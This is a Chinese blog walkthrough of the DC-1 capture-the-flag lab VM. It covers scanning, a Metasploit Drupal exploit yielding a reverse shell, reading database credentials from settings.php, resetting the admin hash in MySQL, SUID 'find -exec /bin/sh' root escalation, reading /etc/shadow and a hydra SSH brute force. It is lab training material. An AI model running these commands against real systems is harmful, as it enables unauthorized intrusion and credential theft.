DC_1靶机夺旗

前言

站在前辈的肩膀上瞻望,然后下来自己筑垒。

1.1 环境准备

攻击机:Kali
靶机:DC 靶机系列之 CD_1 靶机
网络:两台虚拟机都设置为 NAT 网络,使得攻击机和靶机都在同一个网段。
运载虚拟机软件:VMware Workstation 15 Pro 

1.2 夺旗任务

一共有五面旗帜(flag),最终需要拿到 root 权限才能保证通关成功。

1.3 夺旗过程

1.3.1 信息收集

① 查看 Kali IP,确认两台虚拟机的网段为 192.168.11.0/24

在这里插入图片描述

② 主机发现

发现靶机的 IP 为192.168.11.130

netdiscover -r 192.168.11.0/24

在这里插入图片描述

③ 端口扫描

发现开放的端口有 22,80,111,52505

nmap -A -v -sS -sV -p- 192.168.11.130
-A:详细说明扫描目标 IP,加载所有脚本,尽可能地全面探测信息
-v:显示详细地扫描过程
-sS:利用 TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口

在这里插入图片描述

④ 靶机访问

发现该网站是由 Drupal 框架搭建,且需要用户名和密码登录

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

在这里插入图片描述

1.3.2 出征夺旗

1.3.2.1 夺旗方针拟定

该网站是有 Drupal 框架搭建,可使用 Metersploit 寻找对应的 Drupal 模块进行渗透实战。(夺旗的同时寻找登录网站的用户名和密码)

1.3.2.2 第一城

① 启动 Metersploit
msfconsole

在这里插入图片描述

② 搜寻 drupal 相关的模块
search drupal

在这里插入图片描述

③ 模块利用

有多个模块,可以去尝试一下,这里利用这里使用的是2014版的那个

use            对应模块
show options   查看信息
set RHOST      远程主机IP
run            攻击

在这里插入图片描述

④ 反弹 shell

run 之后如果可以反弹shell,即模块正确。这里获取的用户权限是 www-data
在这里插入图片描述

⑤ 夺旗

ls 查看当前目录可以发现第一个 flag(flag1.txt)。且可以发现当前的目录是 /var/www 是网站的根目录。
在这里插入图片描述
查看 flag1.txt 文件

cat flag1.txt

原意为:每一个好的 CMS 都有一个配置文件,你也是。
在这里插入图片描述
查找 Drupal 的配置文件得知,其默认配置文件的位置为 var/www/sites/default/settings.php

1.3.2.3 第二城

查看 settings.php 文件
meterpreter > cd sites/default
meterpreter > cat settings.php

在配置文件中,我们发现第二旗(flag2.txt)和数据库的信息

数据库名:drupaldb
连接数据库用户名:dbuser
密码:R0ck3t
主机:localhost
数据库类型:MySQL

flag2 的原意是:暴力破解不是成功的唯一途径(你也许在接下来会用到),你能够利用这些信息去做些什么呢?
在这里插入图片描述

1.3.2.4 第三城

思路:有了数据库应该可以获得网站管理员的账号和密码,从而登录网站,获取更多信息。

① 登录数据库
mysql -udbuser -pR0ck3t

一开始发现命令不可用,说明此 shell 下权限有限制
在这里插入图片描述
通过 pty.spawn() 获得交互式 shell
在这里插入图片描述
登录成功!
在这里插入图片描述

② 获取用户数据

显示所有数据库

show databases;

显示 drupaldb 数据库下的所有表

use drupaldb;
show tables;

在这里插入图片描述
可以发现有一张 users 表,猜测里面有目的用户名和密码。
在这里插入图片描述
显示 users 表的内容

select * from users;

可以发现用户名是 admin 和 经过 hash 加密过的密码(不可逆)
在这里插入图片描述

③ 获取明文密码

这里有几种方法可以尝试:

1、暴力破解;
2、在 exploitdb 中有一个针对 Drupal 7 版本的攻击脚本,可以增加一个 admin 权
   限的用户账号,用创建的账号登录网站;
3、更新数据库,更新 admin 对应密码。

这里我们用第三种方法。
使用 Drupal 对数据库的加密方法,加密脚本位置在网站根目录下的 scripts 下
使用加密脚本加密新密码 123456,生成加密密文。

./scripts/password-hash.sh 123456

在这里插入图片描述
更新数据库

update drupaldb.users set pass="密文" where uid=1 (admin 的位置)

在这里插入图片描述

④ 登录网站在这里插入图片描述
⑤ 夺旗

进入 content 模块即可看到 flag3.txt。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从中我们可以获取到一些关键词,PREMS,FIND,-exec,shadow,这些之后应该会用到。

1.3.2.5 第四城

思路:从 flag3.txt 的提示,我们要查看 shadow ,需要用到包含前面三个关键词的命令。

① 使用find命令提权

使用find命令查找有特殊权限suid的命令

find / -perm -4000

在这里插入图片描述
find命令提权

find ./ aaa -exec '/bin/sh' \;

在这里插入图片描述
通过命令 whoami 得知当下已然是 root 权限。

② 查找 shadow 路径
whereis shadow

在这里插入图片描述

③ 读取 shadow 内容
cd /etc/shadow

这里我们得到 flag4 的密文,只要破解这个密文,再以 flag4 的身份登录应该能获得 flag4
在这里插入图片描述

⑤ 生成密码包
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

下载/解压密码包
在这里插入图片描述
编译
在这里插入图片描述

⑥暴力破解

使用 hydra+John 密码包对 flag4 的密码进行爆破,得到用户名/密码:flag4/orange。

hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.11.130 -f -vV -o hydraflag4.ssh

在这里插入图片描述
在这里插入图片描述

⑦ ssh 登录
ssh flag4@192.168.11.130
密码:orange

在这里插入图片描述

⑧ 夺旗

查找 flag4.txt 的地址,得到 /home/flag4/flag4.txt

whereis flag4.txt

在这里插入图片描述
flag4 大致原意是:你能用同样的方法在 root 下获取下一个 flag 吗?可能没有那么简单,或者就是这么简单。

1.3.2.6 第五城

① 在 flag4 权限下访问 root

显然不行
在这里插入图片描述

② 在 root 权限下访问 root

可以,并且成功夺得最后一个 flag。
在这里插入图片描述
其实在 root 的权限下,我们可以找到 flag4.txt
在这里插入图片描述
或者在 home 目录下
在这里插入图片描述

结尾

由许多前辈指点而来,由此来记录下过程。
择其善者而从之,其不善者而改之。

                                                                                                                   猪头
                                                                                                              2019.12.16
发布了21 篇原创文章 · 获赞 3 · 访问量 651

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/103570695